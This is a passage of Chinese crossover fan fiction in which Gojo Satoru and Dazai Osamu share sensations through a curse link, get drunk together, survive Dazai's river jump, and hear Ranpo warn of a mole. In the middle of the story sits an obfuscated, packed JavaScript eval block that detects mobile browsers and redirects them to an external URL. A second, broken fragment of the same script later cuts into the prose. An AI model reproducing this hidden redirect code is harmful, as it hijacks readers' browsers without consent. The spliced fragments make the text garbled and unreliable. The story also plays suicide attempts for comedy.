看来不用他动手,有人就要自爆了。 硝子在一旁冷漠地补充道:“悟,你的酒量和你的性格一样烂。” 五条悟把空了一半的酒瓶砸在桌上,一抹嘴,笑容更加灿烂耀眼……且愚蠢:“嗝……老子……最强……酒量也是……最强……” 话音未落,他的脸颊以肉眼可见的速度,泛上红晕,身体晃了晃,然后……直接栽倒在了太宰治旁边的座位上,脑袋一歪,靠在了太宰治肩膀上。 “唔……”太宰治发出一声模糊呻吟,原本只是微醺的脸颊也变得通红,眼神立刻开始涣散,身体像煮过头的面条一样,软了下去,正好歪倒在五条悟身上。 链接,忠实地将五条的醉酒感,翻倍同步给了太宰。 两人如一对连体婴,又像两摊烂泥,互相依靠着,从椅子上,滑落到榻榻米上,瘫成了一团。 33.第33章 看着榻榻米上的两人,中原中也爆发出惊天动地的嘲笑:“哈!就这?还最强?两杯就倒的最强吗?笑死人了!” 但他的嘲笑,很快变成了目瞪口呆。 五条悟和太宰治两个醉鬼,最初只是相互靠着,慢慢的,开始莫名其妙搂抱在一起,手脚交缠,像两条喝醉的八爪鱼在打架,或者,在……准备繁殖。 “这画面……简直是对眼睛的酷刑啊。” 与谢野晶子面无表情地评价道。 “伤风败俗!有碍观瞻!理想手册明明规定了公共场所的礼仪规范,现在这样,成何体统!道德在哪里?底线在哪里?我的速效救心丸又在哪里?”国木田独步气得想直接把这两人扔到门外。 中岛敦脸红得像熟透的虾,手足无措:“太、太宰先生!五条先生!你们快醒醒……这样抱着,不、不太好吧……” 泉镜花默默举起手机:“记录犯罪现场。” 然后被国木田一把按住。 “看来链接不仅共享感官,还降低了智商下限。” 家入硝子冷静分析道。 “哼,混蛋青花鱼,连喝醉了都这么碍眼。” 中原中也嫌弃地别开脸,却又忍不住用余光瞥着那团混乱场景,嘴角抽搐。 “必须立刻纠正这种不成体统的行为!”国木田实在看不下去,他一边怒吼着,一边和中岛敦上前,试图将这两块牢牢黏在一起的狗皮膏药分开。 过程异常艰难。五条悟即使醉死过去,手臂也像焊在了太宰治身上,嘴里还嘟囔着:“老子的……抱枕……不准跑……” 太宰治则像没了骨头,被拉开一点,就又软绵绵地倒回去,含糊地抱怨:“好吵……像有一百个中也在耳边开演唱会……” 费了九牛二虎之力,国木田和中岛敦终于成功将两人撕开。 然而,重获自由的太宰治,挣扎着坐了起来,眼神迷离,看着四周,脸上是梦幻般的忧伤表情。 接着他清了清嗓子,深情并茂地高歌起来: “~~我们两人,就像被红线相缠~~就要一同坠落,纵使万丈深渊~~一个人无法殉情,但两个人就可以~~跳入河里也无怨,与君同沉方得安~~殉情吧,我最亲爱的~~让我们,共赴这,无涯黑暗~~” 魔音灌耳,歌声凄厉又滑稽,在夜晚显得格外突兀。 五条悟的眉毛动了动,似乎在梦里,也感受到了这穿透灵魂的噪音攻击,挣扎着不知道想干嘛。 太宰治唱完最后一句,转过身,带着一种解脱似的凄美笑容,喃喃道:“再见了,这个世界……还有你,笨蛋六眼。” 他摇摇晃晃地站了起来,整整领带,脸上泛起一种殉道者般的光辉,用咏叹调般的语气宣布:“这污浊的人世!这喧嚣的浮华!唯有清澈的河水,才能涤荡我的灵魂……” 话音刚落,他就像一只轻盈的蝴蝶,朝着侦探社敞开的窗户飘去,目标是楼下那条著名的鹤见川。 “不好!他又要跳河!!” 中岛敦惨叫。 大家大惊失色。 窗外“噗通”一声,太宰治的身体,已经浸入了冰冷的河水中。 敦毫不犹豫地冲出大门,循着太宰治消失的方向跑到河边。 “太宰先生!”敦焦急地大喊,跳下水开始搜寻。 一道红色身影也冲了出去,中也骂骂咧咧地发动了异能:“太宰这个混蛋,净会给老子添麻烦!” 就在这鸡飞狗跳的时刻,办公室里,五条悟的身体突然一僵。 他睁开双眼,眼睛里盛满惊恐。然后脸色发青,开始剧烈呛咳,并用双手掐住自己的脖子,仿佛溺水之人一般,正在被水草拖向湖底。 窒息感无法抵抗。 “呃……青花……鱼……” 他发出了痛苦呻吟,身体在地上剧烈抽搐。 “完了!双重麻烦!” 与谢野扶额。 “我就知道!” 硝子叹了口气,已经开始准备急救。 “怎么了?”国木田冲过来,看到五条悟的惨状,大惊失色。他和硝子一起,只能先把地上的五条悟抬到沙发上。 另一边,中也和敦终于把太宰治捞了回来。 “淹死了污染水质!”中也嫌弃地说道。 敦脱下自己的外套,小心翼翼地盖在了太宰治湿漉漉的身上。 回到侦探社,中也像扔垃圾一样,把太宰治丢回沙发上,正好砸在还在扑腾的五条悟旁边。 “咳咳咳……” “呃……哈……” 两人同时大口喘气,一个刚从溺水中解脱,一个刚从窒息中复苏。 链接带来了翻倍痛苦,让他们暂时没了胡闹的力气,只是瘫在那里,从两条喝醉的八爪鱼,变成了两条濒死的八爪鱼。 太宰治湿漉漉的头发贴在额前,他侧过头,看着旁边同样狼狈的五条悟,居然还能扯出一个虚弱的微笑: “五条先生……下次殉情……我们得选个……水质好点的地方……刚才那条河……有股……中也的味道……” 说完,脑袋一歪,彻底醉晕过去。 中也气不打一处来,狠狠踢了他一脚:“你这混蛋,死了都要diss我?” 五条悟似乎想反驳,但最终只是从喉咙里发出一声模糊的咕哝,也闭上了眼:“这笔账……醒了再算……” 混乱中,一个不合时宜的声音响起。 “乱步先生,您早就知道会这样,对吗?”森鸥外微笑着问江户川乱步。 乱步靠在沙发上,嘴里叼着一片薯片细嚼慢咽,看着这一切:“哦呀?我可什么都没说哦。只是……” 他打了个哈欠:“链接的深度,果然又加深了呢,现在连醉酒都无缝共享了吗?真是了不起的进化速度。” …… 当五条悟再次恢复意识时,闻到的是一股浓重的消毒水味。 他发现自己被绑在椅子上,坐姿笔挺,动弹不得。手腕和脚踝都被柔软但坚韧的绷带捆着,椅子后面还有厚实的软垫,显然是怕他挣扎时磕到。 这里是侦探社的治疗室。 “哟,醒得挺快啊,五条先生。”身旁传来带点沙哑的调侃。 五条悟偏头,看见太宰治也被捆在同一款椅子上,黑外套皱巴巴地挂在椅边,绷带松了些,露出半截苍白的脖颈。 他们成了两只待宰的圣诞节火鸡。 “托你的福。所以,我们这是被当成危险分子了?”五条悟扯了扯嘴角,绷带勒得他手腕生疼。 太宰治嗤笑一声:“哦,我看是怕我们再表演一次双人殉情吧。” 两人同时沉默。 记忆如潮水倒灌——庆功宴上推杯换盏,中也的啤酒沫溅了满桌,乱步的苹果核砸在文件堆里,国木田的钢笔尖在笔记本上戳出一个个洞……然后是中也邀他们拼酒,某人替某人挡酒,某人和某人一起醉倒,某人开始唱跑调的殉情歌,再然后是冰冷的河水漫过头顶,窒息感涌入胸腔…… 五条悟挑眉:“所以是怕你再跳一次河?那捆我干嘛?” 太宰治晃了晃被捆住的脚:“或许吧。不过更可能的是,他们怕我们醉了之后……做一些更离谱的事……” 两人说话的声音越来越大,完全没注意到,治疗室的门被推开了。 “咳。”国木田清了清嗓子,推门而入,把手中抱着的文件拍在桌上。 “看来你们对自己的罪行毫无悔意。” 五条悟和太宰治同时噤声,扭头看他。 国木田的额角青筋直跳,镜片后的眼睛像两簇小火苗:“你们两个,知道自己酒醉后是什么德行吗?” 五条悟认真回答:“大概是最强咒术师和最强侦探的完美配合?” 国木田逼近两步:“少贫嘴!昨晚是谁抱着太宰的腰,哭唧唧地说,‘青花鱼你要是淹死了谁陪我玩’?” 五条悟瞪大了眼睛:“真的吗?这是你编的吧!” 太宰治倒是接受的坦然,甚至还点了点头:“这也是有原因的,大概因为……某人醉得站都站不稳吧。” 国木田转向太宰治:“还有你!是谁抓着五条悟的手说,‘六眼的眼睛真漂亮,像星星’?你们两个大男人,搂搂抱抱成何体统?” 太宰治愣住:“星星?我有那么说吗?” 国木田掏出笔记本:“你有,我记下来了!还有你,五条悟,你往太宰背上贴了张纸条,写着最佳搭档!这种小学生行为,简直令人发指!” “虽然搭档的脑子被河水泡过……但!那是事实!”五条悟理直气壮。 太宰治:“……” 五条悟突然想起什么,咬牙切齿:“所以你们是把我们当醉汉关起来,还是当……变态?” “两者都是!好好反省,否则今天没你们的饭!”国木田气呼呼地甩下一句,说完摔门而去。 没过多久,与谢野出现在门口,脸色铁青地看着他们,手里拎着一套干燥的衣物。 “醒了?”她不耐烦道,“醒了就给我安分点,洗干净了再谈赎罪的事。” 与谢野走到太宰治的椅子旁,毫不客气地把那套衣服扔在他身上,然后转身走人。看来她也有被气到。 治疗室里重归安静,又只剩下他们两人。 五条悟似乎若有所思,沉默片刻后,突然问了一句:“所以,你那首殉情歌是唱给谁听的?” “唱给全世界啊。”太宰治笑了,“当然,也包括你这个全世界最无聊的家伙。” 两人像往常一样斗着嘴,气氛却微妙地有些不同。 他们都清楚地记得,当太宰治跳入河中的那一刻,另一人承受了怎样的痛苦。那种感觉已经超越物理连接和灵魂层面的共鸣,让他们再也无法像从前那样,对对方产生厌恶情绪,或者……无感。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574704|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 酒醉加上殉情未遂沾了冷水,太宰治洗完热水澡后,依旧显得蔫蔫的。 他窝在侦探社那张沙发上,湿漉漉的头发还没完全擦干,头疼也一阵阵袭来。 他闭着眼,眉头微蹙,没过多久,呼吸便逐渐均匀绵长,竟又睡了过去。 五条悟不知从哪里找来了一条绒毯,动作算不上温柔,甚至有点粗手粗脚,胡乱盖在了太宰治身上。毯子边缘被他随手掖了掖,确保不会滑落。 他伸手碰了碰对方的手腕——温度正常,呼吸也均匀,应该没发烧。 “真能睡啊,青花鱼。”五条悟嘟囔着,把自己的外套也披了上去,盖住太宰治露在外面的脚踝。 他站在沙发边,目光落在太宰治透出几分脆弱的睡颜上,看了好一会儿。 与谢野晶子端着一杯水走过来,看到这一幕,难得没有出言嘲讽。 她在五条悟旁边的单人沙发上坐下,将水杯放在茶几上,声音比平时平和了许多:“这家伙,看着上蹿下跳,作天作地,好像什么都敢碰,什么都无所谓,其实身体底子并不好。” 五条悟有些意外:“哦?”他确实没想到,这青花鱼还是个易碎品。 与谢野停顿片刻,目光复杂,声音放得很轻:“以前在港口黑手党的时候,他就没把身体当回事。热衷于把自身当成试验品,尝试各种危险的自杀方式,尝遍各种稀奇古怪、甚至明显有毒的物质……美其名曰,探索生命的边界。结果就是,看似顽强的生命力底下,藏着很多隐患。肠胃、神经、对某些药物的耐受性……都比普通人差一截。纯粹是靠着异能力和一点运气,硬撑到现在。” 五条悟沉默地听着,插在口袋里的手悄悄收紧。 他想起了温泉旅馆那晚,对方后背那些陈旧的疤痕,想起了他偶尔过于苍白的脸色,以及链接偶尔传递来的,并非源于诅咒的细微不适感。 原来,那些并不仅仅是旧伤。这家伙,到底对自己有多狠? 与谢野站起身,拍了拍他的肩膀,语气恢复了往常的犀利:“所以,看着点他,别让他真把自己玩死了。虽然他很麻烦,但死了会更麻烦。” 五条悟“嗯”了一声,声音有些低沉。 与谢野离开后,休息区只剩下他们两人。五条悟拉过一把椅子,在沙发旁坐下,拿出手机漫无目的地划着,却没有真正看进去什么。 他决定等太宰醒来,再一起回东京。 室内一片安静,只有太宰治平稳的呼吸声,以及窗外隐约传来的横滨街头的嘈杂。 忽然,沙发上的人动了一下,似乎在睡梦中陷入了什么不安的场景。 他无意识地呢喃出声,声音很轻,带着模糊的睡意,却像一道惊雷,炸响在五条悟耳边: “……葛叶……别……” 那两个字——葛叶,瞬间刺破了此刻,略显温馨平静的氛围。 五条悟划动屏幕的手指猛然顿住,身体有片刻的僵硬。 他缓缓转过头,盯着太宰治沉睡的脸,想从那张脸上,看出隐藏至深的秘密。 葛叶……那个阴魂不散、将他们视为实验品的幕后黑手。 太宰在睡梦中喊出这个名字,带着抗拒,又似乎隐含一丝难以言喻的熟稔。 这语气,不像在叫敌人,倒像在叫……熟人。 无数不太好的猜想从五条悟心底翻涌上来。 是单纯的噩梦,梦到了最近的敌人?还是……源于更久远、更深刻的记忆?那些被太宰刻意回避、讳莫如深的记忆? 五条悟盯着太宰治的睡颜,第一次认真思考——这个总是嬉皮笑脸、把生死当游戏的男人,到底藏着多少自己不知道的过去。 葛叶对他而言,究竟意味着什么呢?仅仅是敌人吗?这诅咒,这场没完没了的测试和追杀,真的只是撞大运选中了他们?还是说……太宰治早就在棋盘上占了位置——连他自己都未必清楚,自己是枚多关键的棋子? 五条悟的眼神沉了沉,方才听与谢野说起太宰过往时,泛起的软意,像被风吹散的烟,转眼就散了。 他看着沙发上对此一无所知、依旧沉睡着的搭档,感觉两人之间那看似拉近的距离下,似乎横亘着更深、更暗的迷雾。 信任这东西,果然还是太奢侈了。 他低声自语,声音轻得几乎只有自己能听见: “青花鱼……你到底,还藏着多少秘密?而我,又该相信你到什么程度?” 沙发上的人翻了个身,含混的呢喃散在空气里,最后只剩均匀的呼吸声。 五条悟却再也坐不住,他站起身,走到窗边,望着横滨的夜色。 风卷着潮湿的水汽吹进来,他忽然想起太宰治跳河时的笑容,想起对方说“殉情吧”时眼里的认真。 “……麻烦死了。” 五条悟低声骂了一句,却悄悄握紧了拳。 34.第34章 天光微亮,横滨在晨曦中渐渐苏醒。电子屏开始滚动新闻,面包店飘出甜香,这座城市,比想象中更喧闹。 太宰治醒来时,头痛已然减轻,但喉咙干得发紧。睁开眼,他看到的,不是会客室的天花板,而是……宿舍的天花板。 “被……搬过来了?”太宰治记得,昨晚明明是躺在侦探社沙发上的,难道是有人趁他睡着,把他挪到了这儿? 他发现自己身上,盖着一条柔软但稍短的绒毯,还有一件带着甜点气息的黑色外套,很眼熟,一看就知道是某人的。 太宰治坐起身,毯子和外套滑落,然后他看见了房间的全貌。 这是侦探社隔壁的一间闲置宿舍,单人床的床头,摆着一杯水。旁边另一张窄小木床上,五条悟正蜷着腿坐着,墨镜推到额角,眼睛直勾勾盯着他,表情像块没化开的墨。 看他的样子……昨天应该没怎么休息好。这间简陋的屋子,大概也委屈他了。 太宰治扯了扯皱巴巴的衣服领口,嗓音带着刚醒的沙哑:“早啊,五条先生,你这是……改行当人体模型了?坐那儿跟尊雕像似的。” 五条悟没动,眉峰微蹙,目光在他脸上停了片刻,才开口:“醒了?还以为你要睡到世界末日。”声音听不出什么情绪。 太宰治揉了揉太阳穴,感叹道:“要是能安稳睡到世界末日,然后直接去死,也算赚了。” 五条悟还是没动,只问道:“睡够了吗?” “不然呢?难不成五条先生打算在这儿打坐到天荒地老?还是说……”太宰治拖长音调,盯着五条悟,他敏感地察觉出了,这家伙心情貌似不怎么样,“在给我守灵?” 五条悟终于有了点反应。 他垂眸瞥了眼自己的手,又抬眼时,眼底那点晦涩的情绪,像被风吹散了一些的雾:“怕你睡死过去,老子还要给你收尸。” 太宰治目光扫过身上的外套,指尖拂过柔软的布料,随即像被烫到般移开,感叹道:“五条先生竟然会照顾人了?真是令人感动。” 五条悟轻笑一声:“少往自己脸上贴金,只是怕你病倒了,链接传点头疼脑热的破事儿,老子还得陪你扛,影响发挥。” “哦,原来是这样。” 短暂的沉默后,五条悟状似随意地开口问道:“喂,青花鱼,昨晚,你好像做了个不太安稳的梦?” 太宰治正拿起与谢野晶子留下的水杯,闻言,动作微微顿了一下,随即自然地喝了一口水:“是吗?我不记得了。大概是梦到了……被一只聒噪的白毛大猫追着跑吧。” 五条悟身体前倾,苍蓝色眼睛亮得扎人:“哦,是这样吗?可我好像听到,你叫了一个名字……” 他紧紧盯着太宰治的脸,不放过任何一抹细微表情:“……葛叶……你梦里都在惦记他啊?关系已经好到这种地步了?” 空气凝滞了数秒。 太宰治放下水杯,眼眸弯起,笑容无懈可击,却像隔了一层透明的墙:“五条先生什么时候变得这么关心我的梦话了?对了,我没在梦里说我的银行密码吧? 他巧妙地转移着话题,用玩笑包裹着真实的回避:“我和葛叶先生的关系,当然是被诅咒者和下咒者的关系呀。不过,他可比五条先生你要神秘多了,我也不知道他在哪里,在干什么。” 滴水不漏,全是废话。 五条悟看着他的样子,心底那点可笑的柔软和担忧,瞬间冷了下去,取而代之的,是被排除在外的烦躁和了然。 他重新靠回床头,推上墨镜,遮住了眼底翻涌的情绪,发出一声嗤笑,意味不明。 “也是,我问这个干嘛。” 他语气平淡,听不出喜怒。 沉默在两人之间漫开,像杯泡了太久的茶,苦得发涩。 他果然……没那么信任我。 这个认知,成了一根细小的刺,扎在五条悟心头,不深,却足够让人不适。 他们可以共享痛觉,快感,甚至醉意,却无法触及彼此心底真正的秘密。 太宰治像是没察觉到他的情绪变化,或者说,刻意忽略了。 他站起身,将毯子和外套叠好放在沙发上,赤脚踩在木地板上,慢慢走到他跟前:“早餐后该回东京了吧?在这里打扰太久,国木田君大概又要念叨他的理想手册了。” 他没法说更多。 倒不是因为信不过五条悟——虽然,信任二字对他们来说,本就是件要反复掂量的奢侈品,但这段时间以来的相处,太宰治甚至可以放心地把后背交给他……只是“葛叶”这名字勾连的东西,太黑暗、太私密,拴着他那段被刻意埋进坟墓的过往。 那不仅仅是敌人,更像是一道源自他血脉与命运的腐烂根系。 主动触碰,不仅会揭开他自己都厌恶的伤疤,更可能将五条悟,这个被诅咒硬拽进来的局外人,拖入更深、更不可测的泥潭。 在彻底弄清楚葛叶的目的,以及自己在这盘棋局中的确切位置之前,保持距离和信息的模糊,是对彼此的一种保护,或许也是对自己的……最后一点体面。 至少,他是这么哄自己的。 他盯着五条悟的那件外套,喉结动了动。最终,还是什么都没有说。 五条悟坐在那里,指尖有一下没一下地划着手机屏幕,但墨镜后的视线,似乎并未聚焦。 旁边的厨房飘着食物香气,中岛敦手脚麻利地将吐司、煎蛋和牛奶端上小桌,泉镜花安静地在一旁帮忙摆放餐具。 五条悟和太宰治走进来,气氛有些怪异,远不如昨晚那般融洽。 虽然昨晚很多时候,有点融洽过头。 中岛敦热情招呼道:“五条先生,太宰先生,早餐准备好了,简单吃一点吧。” “哎呀,敦君真是贴心呢。”太宰治在桌边坐下,拿起一片吐司。 五条悟在他对面坐下,长腿在桌下显得有些局促。他瞥了一眼简单的早餐,没说话,只是拿起牛奶杯喝了一口。 泉镜花将一罐果酱推到桌子中央。 太宰治略带遗憾道:“可惜没有蟹肉罐头,用它来拌吐司就完美了。” 五条悟皱眉:“果酱也是有存在的意义的,你改一下习惯会死啊?” 太宰治动作微顿,然后露出笑容:“我有时也会用洗洁精的嘛。”他将话题引向了惯常的自杀玩笑,再次避开了更深入的交流。 五条悟在心中叹气——看,又是这样,用表演筑起高墙,将真正的想法牢牢封锁。 这个认知,让牛奶尝起来都没滋没味的。 他忽然觉得没什么胃口,被刻意保持距离的感觉,比面对一个直白的敌人,更令人不耐。 中岛敦看着两人之间的暗流涌动,眨了眨眼,有些无措。 “吃完就走吧,东京还有一堆烂摊子等着。”五条悟站起身,声音恢复了张扬,却少了几分真实感。 太宰治用餐巾擦了擦嘴角,跟着起身:“是呢,总不能一直在这里打扰大家。” 两人一前一后离开厨房,中间隔着屏障。 中岛敦看着他们离开的背影,小声对镜花说:“总觉得……今天五条先生和太宰先生之间,好像有点怪怪的?” 镜花点了点头。 就在两人准备离开侦探社时,江户川乱步的声音从书架后传来:“哟,两位大人物,这就打算走了?” “啊,乱步先生。”太宰治微笑着打招呼。 乱步叼着根棒棒糖,手里转着魔方,摆出邀请姿态:“我刚泡了新茶,要不再坐一会儿?” 五条悟本想说不必,太宰治轻轻拉了一下他的手,对乱步说道:“好啊,有劳。” 一触即分,只为示意,却让五条悟脸上,笼罩了整个早晨的阴霾终于消散,阳光开始普照:“那我要加双倍糖。” “哈哈,没问题。”乱步眼睛在两人之间扫了个来回,X光似的,然后笑着说道,“本来昨天就想和两位朋友好好聊一聊呢,但太多意外,找不到合适时机,还好今天恰巧遇到了。” 太宰治道:“乱步先生的恰巧,一定有逻辑的加成吧?” “这个,看破不说破嘛。”乱步带着他们穿过侦探社。 三人刚转过拐角,就撞见国木田独步正蹲在档案柜前整理文件。 他听见动静抬头,目光在五条悟身上停留了一瞬,突然翻了个大大的白眼。 “五条先生,麻烦你走路时,别晃得像只开屏的孔雀——另外会客室的地毯是新换的,别给踩出脚印。还有,你们两人走那么近干嘛?” 五条悟脚步顿住,眼睛里浮起促狭笑容:“哎呀呀,国木田君这是吃醋了?嫉妒我和太宰形影不离?” 国木田手指攥紧文件边角,有点想直接朝他劈头盖脸扔过去:“谁吃醋了!我只是看不惯某些人总惹麻烦!你们两个在一起,只会把侦探社闹得鸡飞狗跳!一个不珍惜生命,一个胡搞瞎搞,还整天把对方往危险里拉……” 他越说越气,最后压低声音骂了句:“六眼笨蛋,迟早要闯大祸!” 太宰治在旁,憋笑憋得肩膀直抖,故意撞了撞五条悟的胳膊:“听见没?国木田君可是为你操碎了心。” 五条悟冲国木田挥挥手:“知道啦知道啦……要是踩坏地毯了,我赔你十块新的!” 国木田瞪了他一眼,又低头整理文件,嘴里嘟囔着:“谁要你赔……” 乱步小声吐槽:“国木田君今天火气真大,不过你们昨天是真把他气到了。” 太宰治望着国木田的背影笑:“不过……”他侧头看向五条悟,“有人替我们操心,倒也不算太糟。” 五条悟道:“国木田,真是个爱管闲事的家伙啊,不过有他在……确实挺热闹。” 楼道尽头的会客室 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乱步想了想说:“线索很多,但都很模糊。不过我可以简单给你们举几个例子:狙击手总能精确出现;葛叶能恰到好处地投放饵料,比如温泉旅馆的饮料,比如引导你们去游乐园的匿名信息;他甚至好像知道你们什么时候会松懈,什么时候会警惕。” 他看向五条悟道:“你的六眼能看穿咒力,但能看穿人心吗?能分辨出身边经过的每一个人,是否带着某种监视咒符,或者仅仅是……被更高明的手段影响了潜意识,在无意中,成为了信息的传递者?将预制好的信息,传给了你。” 他又看向太宰治道:“你的头脑能算计人心,但能确保每一个看似偶然的相遇,不是被精心安排好的剧本?每一次看似无关的对话,不是人家写好的台词?” 乱步拿起桌上那份关于子弹成分的分析报告,晃了晃:“你之前发我的这份东西,能证明子弹是葛叶实验室的产物,但证明不了信息是如何泄露的。敌人像影子,看得见轮廓,抓不住实体。” 他最后总结道,声音低沉:“你们面对的,不是一个单纯的战斗狂或者诅咒师。他是一个精于算计、布局深远的疯子科学家。他把整个城市,甚至你们身边的人际网络,都可能当成了他的实验场。而你们,是他一直以来的观测样本。” 五条悟和太宰治同时沉默,空气中的压力陡然增加。 内鬼,渗透…… 这两个词如沉重铅块,压在心头。 他们不约而同地回想起身边的人——高专的同伴,侦探社的同事,那些看似寻常的偶遇,那些无意间的对话…… 你以为自己在走棋,其实每一步,都在他的显微镜下。你以为自己是执棋人,到头来,不过是棋盘上的玻璃珠,滚到哪儿,全看他如何拨弄。 信任,在此刻变得更加脆弱。 五条悟突然拍了一下桌子,打破了凝重的气氛:“管他内鬼外鬼,只要敢冒头,老子就把他揪出来轰成渣。” 他声音硬邦邦的,像在说服自己:“只要力量够强,阴谋诡计都是笑话。”可眼底的冷意,却比平时更重。 太宰治则轻轻吐出一口气,脸上重新挂上那种令人捉摸不透的微笑:“看来游戏升级了……躲在暗处的老鼠,比明面上的狼难缠多了。” 乱步看着他们,重新叼起棒棒糖,含糊不清地说:“总之,提醒你们一下。接下来的路,可要睁大眼睛走了。说不定,连脚下的影子,都可能是敌人伪装的。” 离开武装侦探社,坐回车上,两人之间的气氛变得微妙。 在经过一段滨海路段时,五条悟目视前方,忽然唤了一声:“喂,太宰。”没叫他外号,且是难得的正经语气。 太宰治偏头看他。 五条悟郑重道:“不管那个葛叶,跟你到底有什么乱七八糟的关系……你现在是老子的搭档。在解开这破链接,或者轰飞那个混蛋之前,别擅自死掉,擅自行动,或者……跑到老子够不着的地方去。” 别死,别跑,别让我……保护不了你。 这并非温柔承诺,而是蛮横宣告。带着他一贯的嚣张,砸得生硬,像块石头,却又好像多了点别的什么。 太宰治微微一怔,砖头望向窗外,看着飞速后退的海面。他唇角似乎弯了一下,又似乎没有。 “这话,原样奉还给你,五条先生。我可不想体验‘最强’死掉时,链接反馈过来的痛苦呢。”他的声音很轻,几乎被引擎声淹没。 后半句没有说——因为那样痛苦,大概会达到最高级别的程度吧,不止身体,还有心理。 五条悟没接话,他盯着前方交织的车流,喉结动了动,最终,只是把车速稳稳提了上去。 车辆汇入车流,继续朝着东京的方向驶去。两人身上,光影明暗交错。 前方的道路依旧迷雾重重,内鬼的阴影与葛叶的阴谋如影随形。但至少,他们依旧是彼此能够并肩而行的同类,哪怕互相提防,各怀心思。 以及,保留了许多未曾说出口的真实感情。 35.第35章 江户川乱步发出的内鬼警告,像颗石子投进深潭,咒术高专与武装侦探社的水面下,暗涌了整周。 夜蛾正道与福泽谕吉各自以不同的方式,进行了谨慎的排查与试探。 例行会议、任务报告、人员接触记录……被反复审视,一些看似不经意的巧合,被放大检查。 但结果,如石沉大海。 该查的任务记录都在,该核的行程对得上,连巧合,都透着股刻意——比如某份加密文件,总在深夜被调阅,最后发现是系统自动备份;比如总在任务点出现的路人甲,查了两天才知道,是新来的保洁临时工。 没有确凿的证据,指向任何一个特定的人,没有捕捉到任何明显的背叛行为。但那种被窥视、被算计的感觉,依然如影随形。 一切还是悬而未决。 “像有人拿着剧本在演,但找不到那个写剧本的人。”夜蛾正道对五条悟摇头。 “再等等吧,如果有狐狸,总会露出尾巴。”福泽谕吉对太宰治道。 最磨人的就是这种情况,没有明枪,却总觉得有双眼睛,藏在你看不见的地方眨。 夜蛾和福泽,最终都在各自的例会上宣布:“排查继续,但暂时……别打草惊蛇。” 五条悟和太宰治对此心照不宣。 他们依旧维持着表面的相处模式,争吵、互讽,协作,但他们都变得更沉默,也更敏锐地观察着周围的一切,包括观察着彼此。 正是在这种暗流涌动的背景下,咒术高专一年级的修学旅行如期而至,通知单上,印着椰树与海浪——目的地是冲绳,学生全员参加。 五条悟摇着单子递到太宰治面前:“喂,青花鱼,家属位留好了,到时你和我一起去哈。” 太宰治瞄了一眼,头也没抬:“为什么?” 五条悟煞有介事道:“我是学校的主干教师兼监护,带家属合理合法。” 太宰治挑眉:“我是问,谁是你家属?” “你啊。我们都是一条链接上的人,不是比血缘关系紧密多了?按国木田的说法,我还是你的监护人呢!”五条悟一边说,一边伸手勾住了他后颈。 “哈?谁要当你家属?”太宰治挣了挣没挣开,耳尖开始发烫。 五条悟煞有介事道:“我得照顾你呀,免得你离开我后,又开始把自己搞得半死不活。” 太宰治不爽道:“我自己能……” “你不能。”五条悟打断他,指尖戳了戳他胸口,“上次我出任务,你把自己挂树杈上,要不是我爬上去捞,现在还在海边当咸鱼干。” 太宰治脸上也泛起红晕:“我那是艺术性悬挂,而且谁要你捞了,你多事而已,我自己能下来……被卡住只是意外。” 五条悟拽着他往安全屋走:“意外也说明你没用……走走走,回去收拾东西,准备出发,去冲绳晒晒太阳,不要老是一条鱼闷在家里,会发霉长蘑菇。” “谢邀,但我更想一个人自由自在。” “别啊,否则我就告诉福泽社长,太宰想要避开我单独搞事,疑有自杀意图,建议将他绑在椅子上,直到其监护人,本人五条回来为止。” 太宰治攥住他手腕:“哇,你还能再卑鄙一点吗?” 五条悟低笑:“能让家属跟我去冲绳,这叫策略。” 最终,太宰治还是妥协了。“这叫战略性迁就,不是屈服。” 他自我安慰道。 …… 沙滩上,五条悟戴着夸张的彩虹色墨镜,穿着夏威夷花衬衫,躺在沙滩椅上,正咬着吸管喝果汁。 他神态悠闲,气焰嚣张,仿佛之前的阴霾从未存在,但墨镜后的目光,却比平时更快速地扫过周围熙攘的人群。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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36.第36章 太宰治的手指颤抖了一下,动作停顿下来。 五条悟则突然吸了口气,背肌瞬间僵硬,墨镜下的眉头,被用力拧住。 “人渣……别乱动……” 太宰治低声咒骂,不知在说五条悟,还是在说那不受控制的链接。 “是你……手别抖……” 五条悟的声音从喉咙里挤出来,咬牙切齿,带着紧绷。 这简直是一场双向奔赴的酷刑。 但两人还是硬撑着,谁也不想承认,自己更易屈服于感官操纵。谁先退让,谁就输了,那不得被对方嘲笑一个世纪? 太宰治尽可能快速地、机械地涂抹着,意图忽略那不断涌来的奇异触感。 五条悟强忍着没有弹跳起来,感觉每一寸被触碰到的皮肤,都像在被细微电流亲吻。 当太宰治的手指,无意间划过五条悟的侧腰时,两人甚至同时不受控制地轻哼了一声。 “那个……你能不能不要哼得那么……肉麻?”五条悟这句话倒是写实,他的肌肉真的遍布酥麻感,被太宰治抹出来的,也是被他哼出来的,谁让那人声音黏糊得能拉丝? “……你先喊的好不好,而且你的声音有点……变态。”太宰治真要被五条悟气笑了,这家伙还恶人先告状起来了,脸真大啊……虽说他声音挺性感的,但光天化日之下,过于性感就等同于变态……吧? 一场简单的涂抹,硬是演变成了小规模的感官灾难。防晒霜已不是防晒霜,差不多升级成了助燃剂。 结束后,两人都微微喘息,额角沁出细汗,好似刚经历了一场恶战。 “唉,技术真差。”五条悟刚恢复常态,便语气恶劣地评价道,主要目的,是为了掩饰刚才的失态。 “收费服务,不接了,下次请找别人。”太宰治收回手,指尖似乎还残留着对方皮肤的灼热温度,他转身,走回自己的椅子,重新用书盖住脸,遮住了默默泛起的红晕。 这时,精力过剩的虎杖悠仁抱着排球跑了过来,脸上洋溢着灿烂笑容:“太宰先生,一起来打沙滩排球吧!伏黑和钉崎他们都在!” 太宰治从书后露出半张脸,语气慵懒:“我?运动苦手呢,可能会拖后腿哦。” 